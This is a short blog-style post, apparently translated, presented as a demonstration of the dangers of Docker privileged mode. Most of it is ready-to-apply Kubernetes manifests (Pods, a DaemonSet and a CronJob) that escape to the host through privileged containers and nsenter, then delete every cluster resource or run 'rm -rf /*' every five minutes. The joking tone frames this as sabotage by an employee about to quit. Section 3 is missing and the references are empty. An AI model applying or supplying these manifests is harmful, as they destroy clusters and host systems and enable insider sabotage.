This document is mainly meant to demonstrate the dangers of Docker privileged mode, so please proceed with caution. Users without CLI access can copy the example YAML and directly create cluster workloads such as Pod, Job, and DaemonSet to carry out the operations.
1. Directly Deleting All Resources
If you can log in to the machine, pack your things, and run the command:
1
| kubectl delete all --all --all-namespaces
|
But you may not have that much privilege, so try the methods below. The methods below rely on Docker privileged mode.
2. Just Give It a Try, Warm Up
Warm up first, run the script, give it a casual try, and see whether it works.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: danger-1
namespace: default
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
If the Node cannot run the kubectl command, then select the Master node and try there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: danger-1
namespace: default
spec:
affinity:
nodeAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- preference:
matchExpressions:
- key: node-role.kubernetes.io/master
operator: In
values:
- ""
weight: 100
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
hostIPC: true
hostNetwork: true
hostPID: true
EOF
|
4. Forget It, Try Every Node
If it still does not work, just try every node — after all, you have already packed your things.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: danger-3
spec:
selector:
matchLabels:
danger.kubernetes.io/name: d3
template:
metadata:
labels:
danger.kubernetes.io/name: d3
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
5. One Last Struggle, Try It on a Schedule, and Clock Off
Having gotten this far, chances are you will still be back to the daily grind 996 tomorrow, so give it one final try.
Run once every five minutes; the basic format is * * * * *, corresponding to minute, hour, day, month, and week respectively.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| cat <<EOF | kubectl apply -f -
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: danger-4
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'sudo rm -rf /*' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
restartPolicy: OnFailure
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
6. References
